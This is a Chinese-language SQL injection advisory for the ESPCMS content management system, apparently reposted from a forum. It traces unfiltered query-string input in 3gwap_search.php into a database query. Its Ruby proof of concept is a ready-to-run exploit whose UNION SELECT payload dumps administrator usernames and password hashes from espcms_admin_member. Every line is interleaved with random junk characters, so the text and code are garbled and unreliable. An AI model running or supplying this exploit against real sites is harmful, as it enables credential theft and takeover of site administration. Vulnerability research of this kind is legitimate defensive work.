0×0 漏洞概述0×1 漏洞细节2 \. d" ]6 t, A4 S" m6 D' h
0×2 PoC; _ a- s! ?0 p3 C7 O% F; q& d- @9 P
; G5 O# F, z# s9 H
6 C3 s3 g2 v ^" [" {* }3 U; \0 {5 D/ c0 y/ e
0×0 漏洞概述
1 n) y4 q+ P+ T, r z2 D6 s
8 [/ c3 G* Y! P, b* n易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
8 G3 z% a8 ?8 `; R; b/ s其在处理传入的参数时考虑不严谨导致SQL注入发生
8 N" N/ I+ u7 e+ ?' h) o; B I1 x% K* P6 L+ u
: @ E" L- f3 U0×1 漏洞细节
0 ~+ l1 B: i4 S
\! d; a! m% d o: v& w变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
1 C/ Y1 P$ T) t& J: C+ _ k0 B正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。/ d2 M( H3 W; f' S
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
1 \6 ]' u" G: q" q
. O* {& l5 ~7 l1 ~ N5 P在/interface/3gwap_search.php文件的in_result函数中:
1 D; }5 L! m0 }* H' p2 i
3 t2 K- T3 D5 f- e0 R7 E2 {; z
* r% ? n& A' u- _ V' j8 Z! K' P& g1 U2 \" i: |( F0 {0 ]
function in_result() {4 p0 g( y8 E/ N: j
... ... ... ... ... ... ... ... ...& z7 G8 Z7 ]2 S! p# k/ i8 y' M
$urlcode = $_SERVER[ 'QUERY_STRING '];! F: M; D6 l6 m1 m8 a: r
parse_str(html_entity_decode($urlcode), $output);
( N4 V, e2 g8 O2 ?
& ^& z5 ^0 R+ @# c ... ... ... ... ... ... ... ... ...
% q& c8 J9 k- V3 }, ^$ { if (is_array($output['attr' ]) && count($output['attr']) > 0) {3 f% `/ z. H; g! z% r
' ^4 Y0 ]: j$ n $db_table = db_prefix . 'model_att';
' V5 E- |' p- N, n2 f- U
2 t; l0 E8 p! p6 I4 ~0 f- F foreach ($output['attr' ] as $key => $value) {
3 ]3 j9 h2 g! C* u) P if ($value) {
6 F( `! _) [ W1 q7 \
: g5 C/ S4 _/ Q/ P4 {) c( D1 { $key = addslashes($key);
( l! S- Q# q% l. x+ ~" @ $key = $this-> fun->inputcodetrim($key);8 s& C# L3 a( {9 \6 W4 x. j1 S
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
5 l3 x) ], [& Y& ~' r, P! K $countnum = $this->db_numrows($db_table, $db_att_where);5 D- R! t- W" S5 u* l, F
if ($countnum > 0) {( x" C' E( o9 }+ K! i) g
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
$ r7 [- {2 W. o$ W }
) c' H- P& m8 _; M1 } }
l5 W6 w6 c, l: k% }0 W3 @ }# S( R9 j* L4 N
}
9 g+ m1 i' a2 m& Z if (!empty ($keyword) && empty($keyname)) {1 c2 l9 l7 r# A; }5 r8 z; o% Q
$keyname = 'title';
* D* A$ X1 m! W: @7 O( V $db_where.= " AND a.title like '%$keyword%'" ;
& h' y( R) o& J- {; q {6 @* @ } elseif (!empty ($keyword) && !empty($keyname)) {( y: g9 c4 r6 H
$db_where.= " AND $keyname like '% $keyword%'";9 m w7 Y* l# e ]
}
! F5 j7 N6 J, y a' T/ l $pagemax = 15;
, I3 c* C0 |: Y) V% h3 @- i( V$ _ ?6 M0 Y+ M* z% f
$pagesylte = 1;
2 ~0 ?' N/ Z J- E# G3 D5 w. |1 @) @& Q; q7 Y! q/ O' O3 Y
if ($countnum > 0) {
: H$ D. n, x0 ^' H' X z* `9 Z+ a- D; Q6 J
$numpage = ceil($countnum / $pagemax);" {8 C% P8 P6 [/ b& |4 V, A
} else {
# m+ e& z( `' b3 M- i0 u" `3 T $numpage = 1;3 d# P4 h8 E- ^* A
}
" f8 `; ]8 x$ E $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;# D |2 ~! X$ S' J2 f: L
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
. [; V, x" [& z' k6 a e$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);5 ^" H# w+ [( L! z
... ... ... ... ... ... ... ... .../ E5 ]2 f& N, l( ^$ ?% E
}1 e4 M2 d9 s, k* M5 m
2 f6 x6 i2 q! ]# b
! t: Q' ]# T" Q: {5 v+ Z0×2 PoC6 |) W8 d1 X- l1 _" t; D( z
' S% m0 X: y8 R/ H M1 M
5 F5 S }, o) }' |$ T# O
5 K4 q/ G% i5 s5 w5 m$ @require "net/http"
/ R4 P! Z( r5 ~0 W
. N+ A. Z- y9 l' L, |* K6 K1 hdef request(method, url)% w8 P: O" A/ ~7 @. p/ W
if method.eql?("get")
8 l9 W6 R$ F+ d3 Z5 K0 _, _ C uri = URI.parse(url)
* m& J# O: u( R/ \! i. t http = Net::HTTP.new(uri.host, uri.port)
% D7 M8 x& ~# k+ ?& S. L response = http.request(Net::HTTP::Get.new(uri.request_uri))1 J# ^0 _$ z. C' ]3 i; h# X
return response! m) v. r; E! c$ V
end
9 Z, \% Z, M, m% E8 M' P, O# d- \8 ~8 t5 t, aend
; ?3 u, a I) l& L) w# D. y# Z. O, ^4 _9 w& Y0 h! X# ?* P
doc =<<HERE- w* o8 H# a2 ]
-------------------------------------------------------
a* l8 x$ q, S/ M! f; `# REspcms Injection Exploit- j/ C( X- F# p; M4 P
Author:ztz
" n; T/ }$ m: Z0 A# P$ J' NBlog:http://ztz.fuzzexp.org/. k! `* Z C7 d6 K: F
-------------------------------------------------------' n U* A% {' H5 h: a7 ~
0 B$ \# L+ J: r' d0 O; kHERE
7 J# a2 q' a2 {8 ]# h6 R6 }1 |5 N
usage =<<HERE
& Z" v$ x0 o) d8 m5 N NUsage: ruby #{$0} host port path8 O4 T8 I, e+ s( {1 t0 @: o7 ^: B0 _
example: ruby #{$0} www.target.com 80 /) [ G! k2 I! m/ f9 w# x' I
HERE6 n' h6 s& }) p# `5 x
7 ?' y' H: r7 D+ Y% I( A* j" t& ]; c oputs doc* _: K: c- A m7 H
if ARGV.length < 3
1 D6 w0 e4 Y% S, ?, [7 S puts usage
) H% }; X4 {0 U$ melse
5 _* H* f1 n+ V: s $host = ARGV[0]
: P& @' ?! I0 { $port = ARGV[1]0 q4 K6 T2 i/ \" Z, g# F
$path = ARGV[2]
; l' k0 K1 O; O
1 A; H' P. w5 S7 k; y O* P* N puts "send request..."* n/ j$ `3 @; I% y7 f, O- d
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
7 C7 n& G2 k7 w. S* W0 f+ ]attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
# ?0 F% V( f! o+ Q,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,271 X3 n/ O) @7 l0 W( n
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
: b0 z6 H( c7 z: f1 A: M response = request("get", url)- p! B8 J* ^) l) M+ E: G
result = response.body.scan(/\w+&\w{32}/)
0 e$ ?$ W, X6 o6 G# J& z puts result( q) |+ Z3 W3 x' o6 B
end
1 K5 u J8 p5 s* Y9 ^& u
) h" F, u% P$ v |